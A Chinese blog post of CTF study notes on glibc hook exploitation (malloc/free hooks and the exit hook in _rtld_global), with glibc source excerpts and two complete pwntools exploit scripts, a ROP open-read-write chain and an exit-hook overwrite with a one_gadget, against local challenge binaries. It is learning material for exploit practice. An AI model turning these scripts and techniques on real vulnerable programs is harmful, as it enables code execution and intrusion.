【闲话0x01】hook技术
做一道题的时候研究了一下hook技术在pwn的利用,挂到博客上水一下
hook
hook技术是一种函数指针技术,假设a函数被挂了b函数的钩子,实际上执行a函数的时候会跑b函数,而这个指针是可读可写的,所以在pwn中有一些利用这些hook的攻击办法;
但是hook技术在后续高版本的libc中就不能实现了(或者说是直接就不用他了),下面对于各种hook的适用条件也会具体说明。
一般的hook利用(或者说叫基础的hook利用)目前我见到过2(3?)种,后续水平上去再补充:
malloc/free hook
这两种hook道理大体相似,直接放我做题时候的一些过程了,题是vnctf2020的warmup,最后打通的是本地的2.27libc的环境,实际上2.31也应该能跑(我懒得给Ubuntu20装pwntools了),这两种hook应该是在2.34及以前的libc上都有使用,2.35直接不使用这项hook了,过程如下:
首先我写了个malloc跑确实发现了有这么个函数,然后测试一下改写这个hook,测试代码是这样的(应该freehook几乎同理):
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <malloc.h>
int main()
{
__malloc_hook =system;
char str[10]="cat flag";
char *s = malloc(str);
return 0;
}

在编译的时候就已经给了一个warning,告诉我这个指针已经是荒废的了
在2.27的libc版本下是可以运行弹出我的测试flag的,2.31也是可以的,但是2.35的libc中并不能弹出

毫无反应,说明2.35的libc中已经不再使用这个函数指针了
在这个题中对hook的利用比较简单,只是把这个hook当做读写区域,题我不放了,放个exp(利用过程):
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
context(log_level='debug')
#r=remote("node4.buuoj.cn",29209)
r=process("./vn_pwn_warmup")
elf=ELF("./vn_pwn_warmup")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
r.recvuntil("gift: ")
puts_addr=int(r.recv(14),16)
print("puts="+hex(puts_addr))
libc_base=puts_addr-libc.sym["puts"]
puts_add=libc_base+libc.sym["puts"]
read_addr=libc_base+libc.sym["read"]
open_addr=libc_base+libc.sym["open"]
ret_addr=libc_base+libc.search(asm('ret')).__next__()
rdi_ret=libc_base+libc.search(asm('pop rdi\nret')).__next__()
rsi_ret=libc_base+libc.search(asm('pop rsi\nret')).__next__()
rdx_ret=libc_base+libc.search(asm('pop rdx\nret')).__next__()
flag_addr=libc_base+libc.sym["__free_hook"]
payload1=p64(rdi_ret)+p64(0)+p64(rsi_ret)+p64(flag_addr)+p64(rdx_ret)+p64(0x10)+p64(read_addr)
payload1+=p64(rdi_ret)+p64(flag_addr)+p64(rsi_ret)+p64(0)+p64(rdx_ret)+p64(0)+p64(open_addr)
payload1+=p64(rdi_ret)+p64(3)+p64(rsi_ret)+p64(flag_addr)+p64(rdx_ret)+p64(0x50)+p64(read_addr)
payload1+=p64(rdi_ret)+p64(flag_addr)+p64(puts_add)
r.send(payload1)
payload2=b'a'*0x78+p64(ret_addr)
r.send(payload2)
r.send("./flag")
r.interactive()
orw(write其实被禁用掉了),打通2.27↓

exithook
23.5.18跑去研究别的,直到5.22写完heap0x02,5.23补完
学完之后感觉其实好像也没什么相比于上面的特别的东西,只是自己调了一下exit的过程而已..
选题是ciscn2019n-7,看似是一道堆题的一个还好的题:
ANalysis
首先exithook的本质也是一个函数指针,只不过不叫这个名,而且限制条件更加苛刻,2.31libc的9.7小版本就已经扔掉这个指针了(所以我也不知道我在当下这个时候拿这个技术出来干嘛,改用了一种叫FSOP的技术,这个技术当下我还真没看懂,后续我要是学明白了希望能放回这吧(由此可见我还是菜的一批
分析一下整体过程,首先exit函数在跑的时候会调用这么一个函数:

然后继续找一下这个的调用,我在跑的时候懒得找源码了,直接拿gdb跑了好几遍慢慢看他调用了什么函数的,可以对着源码看一下这些过程(不过要利用的过程是其中的一个小部分,但是实际上exit的过程也是很经得起推敲的

然后过一会call了一个这个东西:

这个函数就比较关键了,我得贴一下源码:
void
_dl_fini (void)
//省略一部分
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
然后把其中的两个宏,也就是__rtld_lock_lock_recursive和__rtld_lock_unlock_recursive,其实这两个实际上就是我们说的exithook,展开一下这个宏
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)
# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
再牵扯出一个问题,GL--也是个宏:
#ifndef SHARED
# define EXTERN extern
# define GL(name) _##name
#else
# define EXTERN
# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif
struct rtld_global
{
#endif
其中我们可以看见rtld_local和rtld_global,我暂时没有去研究这两个东西到底有啥区别,反正就对于这项技术而言这两个东西是一样的,且都是函数指针结构体,这个结构体非常之长,里面存着非常多的函数指针,不贴源码了
插一句,这后面还有这么一个东西:

这个函数似乎是清理输入输出流的?然后后续过程就是调用exit再系统调用exit彻底终止进程,这就是一整个的过程了
回到正题,我们返回去看刚才的那个函数,直接看一下结果,是这样的:

vmmap看一下libc起始地址,算一下偏移,然后做个小总结:
👇
LAST
该结构体的偏移在2.27中是0x61b060,然后指针偏移是3840和3848(0xf00,0xf08
放个题的exp吧:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
r=process("./3.1")
elf=ELF("./3.1")
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
libc=ELF("libc-2.23.so")
r.sendline("666")
r.recvuntil("0x")
putsaddr=int(r.recv(12),16)
print(hex(putsaddr))
libc_base=putsaddr-libc.sym["puts"]
print(hex(libc_base))
exit_hook=libc_base+0x5f0040+3848
one_gadget=libc_base+0xf1247
r.recvuntil("choice-> ")
r.sendline("1")
r.recvuntil("Length: ")
r.sendline(str(0x100))
r.recvuntil("name:")
payload=b'a'*8+p64(exit_hook)
r.send(payload)
r.recvuntil("choice-> ")
r.sendline("2")
r.recvuntil("name:")
r.sendline("otto")
r.recvuntil("contents:")
r.send(p64(one_gadget)*2)
r.recvuntil("choice-> ")
r.interactive()
23.7.15:前段时间把ubuntu16搞完了,这下能跑通了,改个exp,可能onegadget不太一样,但是没差
To be continued?
感觉mallochook和freehook用的还算比较多的,但是exithook..似乎是因为版本的更迭或者是一些别的其他关系逐渐会淡出了,不知道以后还会不会有这种技术的衍生存在,所以取个名字叫未完待续“?”
最后说句题外话,看这种某种意义上的基础层面技术经历了一个不算很长的时间跨度就马上要几乎是被取缔或者荒废掉真的有种所谓旧世界残响的感觉,安全这种东西这个领域是真的神奇(Luo于23.5.23有感)

浙公网安备 33010602011771号